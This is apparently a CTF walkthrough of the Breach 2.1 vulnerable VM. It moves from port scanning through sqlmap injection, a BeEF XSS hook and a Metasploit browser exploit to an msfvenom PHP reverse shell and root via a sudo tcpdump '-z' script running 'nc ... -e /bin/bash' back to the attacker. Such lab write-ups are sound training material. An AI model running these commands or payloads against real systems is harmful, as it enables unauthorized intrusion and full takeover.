Introduction
Breach 2.1 is meant to be beginner to intermediate boot2root/CTF challenge. The VM is configured with a static IP address (192.168.110.151) so you will need to configure your host-only adaptor to this subnet.
Information Gathering
The VM is configured to the IP address 192.168.110.151. Let’s start by scanning the target via nmap.
$ nmap -n -Pn -sS -p- -sV -iL scope -v --open --script "http-title or default" -oA target_$(date "+%Y-%m-%d")
# Nmap 7.40 scan initiated Wed Mar 8 16:26:50 2017 as: nmap -n -Pn -sS -p- -sV -iL scope -v --open --script http-title or default -oA target_2017-03-08
Nmap scan report for 192.168.110.151
Host is up (0.00011s latency).
Not shown: 65532 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 51603/udp status
|_ 100024 1 54935/tcp status
54935/tcp open status 1 (RPC #100024)
65535/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u2 (protocol 2.0)
| ssh-hostkey:
| 1024 f3:53:9a:0b:40:76:b1:02:87:3e:a5:7a:ae:85:9d:26 (DSA)
| 2048 9a:a8:db:78:4b:44:4f:fb:e5:83:6b:67:e3:ac:fb:f5 (RSA)
|_ 256 c1:63:f1:dc:8f:24:81:82:35:fa:88:1a:b8:73:40:24 (ECDSA)
The one luring target is the ssh on port 65535/tcp.
Let’s try and connect to it with ssh 192.168.110.151 -p 65535.
So, that is a nice banner that encourages us to continue hacking.
Also, the user peter does get a password hint in the banner.
The obvious password would be in the source or maybe a variation.
Let’s try these!
The password actually is inthesource!
Unfortunately, the ssh session is immediately closed by the server.
The banner also mentions a blog that Peter is slacking on.
Maybe we missed something, so better scan again and this time slowly.
With ndiff we can compare the results.
-Not shown: 65532 closed ports
+Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
+80/tcp open http Apache httpd 2.4.10 ((Debian))
+| http-methods:
+|_ Supported Methods: GET HEAD POST OPTIONS
+|_ http-server-header: Apache/2.4.10 (Debian)
+|_ http-title: Initech Cyber Consulting, LLC
That is interesting, maybe the SSH login triggered the port to open? Let’s see for ourselves.
The source code of the website might provide some additional pointers.
Nothing here. Maybe we can find some files and directories on the web server via gobuster.
$ gobuster -u http://192.168.110.151 -w /usr/share/seclists/Discovery/Web_Content/raft-large-files.txt -e -r -l
=====================================================
http://192.168.110.151/index.html (Status: 200) [Size: 468]
http://192.168.110.151/. (Status: 200) [Size: 468]
=====================================================
$ gobuster -u http://192.168.110.151 -w /usr/share/seclists/Discovery/Web_Content/raft-large-directories.txt -e -r -l -f
=====================================================
http://192.168.110.151/blog/ (Status: 200) [Size: 5600]
=====================================================
There is Peter’s blog! What might be hidden behind this URL.
This is not wordpress, it is rather a random php blogging application.
Intuition automatically spawns an sqlmap instance.
$ sqlmap --forms --batch --crawl 4 -u http://192.168.110.151/blog/index.php
Ohlala, sqlmap quickly found a UNION based sql injection. What a surprise. Also, doing a search on exploitdb might also provide some quick wins or additional information.
There exist a few know exploits. The SQL injection is already documented. Cross-Site Scripting is not relevant, as this does not help in exploiting the server.
Let’s take a close look at the MySQL database. There is an os-commerce database in the mysql server.
The admin password is only an md5 hashed password which can be quickly cracked.
A search on the internet yields the cleartext password 32admin.
Yet, on port 80 there is no os-commerce web shop.
Let’s try to find out a little bit more about the system.
First, let’s take a look at the user accounts of the system.
$ sqlmap --batch -u http://192.168.110.151/blog/index.php?search=asdf --file-read /etc/passwd
With the information from /etc/passwd other possible attack vectors are to perform a brute-force attack on the ssh service.
Also, the table blogphp_stats seems to contain a log of the web application.
$ sqlmap -u http://192.168.110.151/blog/index.php?search=asdf -D blog -T blogphp_stats --count --dump --stop 99
The most intriguing part is, that another IP address is also browsing the blog regularly. This might be Peter slacking at work! This is probably a hint for a client side attack. Thinking back to the searchsploit results, a few XSS vulnerabilities have been documented for the blog.
Based on 17640.txt the XSS provided during the startup of BeEF can be utilized in the attack.
So when Peter is browsing his blog and visits the members page the BeEF hook will execute and establish a connection to the control panel. After a minute or two a browser connects.
Peter is using a pretty old version of Firefox. Searchsploit gives an overview and lists one metasploit module for this version of firefox.
So, open up metasploit and start the matching browser exploit.
After starting the exploit server the client has to be redirected in order to exploit the browser. This can be achieved in multiple ways in BeEF.
After a few seconds a shell connection is established.
Shell is good, meterpreter is better.
With post/multi/manage/shell_to_meterpreter the session can be upgraded.
Finally on the system. What next? Running post exploitation scripts to gather additional information might provide a next hint. Netstat list the localhost:2323 as open. Let’s find out what is waiting there for us.
The service banner includes only a set of coordinates. A quick search on the internet provides a pin on the map.
Houston it is. Trying some username and password combinations based on the user accounts on the box.
So, “Whose stapler is it?” is more like trick question. Looking back at Milton’s best scenes the answer is quite obvious.
After the login nothing happens. Let’s check the running services, maybe another one is activated after a successful login. After a quick nmap scan we can compare the results and check for changes.
192.168.110.151, 08:00:27:B0:12:49:
-Not shown: 65531 closed ports
+Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
+8888/tcp open http nginx 1.6.2
+| http-ls: Volume /
+| SIZE TIME FILENAME
+| - 15-Jun-2016 20:50 oscommerce/
+| 867 15-Jun-2016 18:09 index.nginx-debian.html
+|_
+| http-methods:
+|_ Supported Methods: GET HEAD POST
+|_ http-server-header: nginx/1.6.2
+|_ http-title: Index of /
There is another web service available.
This time even with oscommerce.
The administrative interface for oscommerce is hosted at /admin.
Luckily, the login credentials for the admin user have already been compromised via sqlmap.
The hash corresponds to the password 32admin.
However, this password did not work.
However, trying the default combination admin:admin did grant access to the administrative interface.
With access to the file manager uploading a php shell would be possible. We have a winner. Just quickly create a meterpreter php payload that can be uploaded to the web server.
# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.5 LPORT=4444 -f raw -o meterpreter.php
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 949 bytes
Saved as: meterpreter.php
As none of the root folders is writeable there might be one in a subdirectory. With some command line kungfu a suitable directory can easily be found.
$ find /var/www/html2/oscommerce -perm /o=w
/var/www/html2/oscommerce/includes/work
The web shell can be executed by simply browsing to the file.
After opening the payload in the browser the meterpreter connects back to the handler.
Shells spawned from the meterpreter session are lacking the tty. A quick fix is to start one with the following python one liner.
python -c "import pty; pty.spawn('/bin/bash')"
Already having gathered relevant information about the system there might be some user specific security issue. Listing the sudo rights for the users brings one allowed command.
So the user blumbergh can execute tcpdump. Trying to get tcpdump running in order to capture some packets did not work. RTFM, there might be some feature that I missed up until now. The manpages do in fact list one option that could help in this precarious situation.
So, running tcpdump with this option will execute any command with root privileges. The easiest way is to utilize netcat on the target system, as it supports the execute function. Before starting the connection a listener has to be opened on the attcker machine.
$ echo "nc 192.168.110.5 1234 -e /bin/bash" > /tmp/con.sh
$ chmod +x /tmp/con.sh
$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/con.sh -Z root
The script is executed and netcat connects to the attacking machine.
With root rights on the box let’s first start a fancy tty shell. The root user’s home directory has got a “hidden” flag.py file inside. Executing the python script outputs the credits for Breach 2.1. Win!
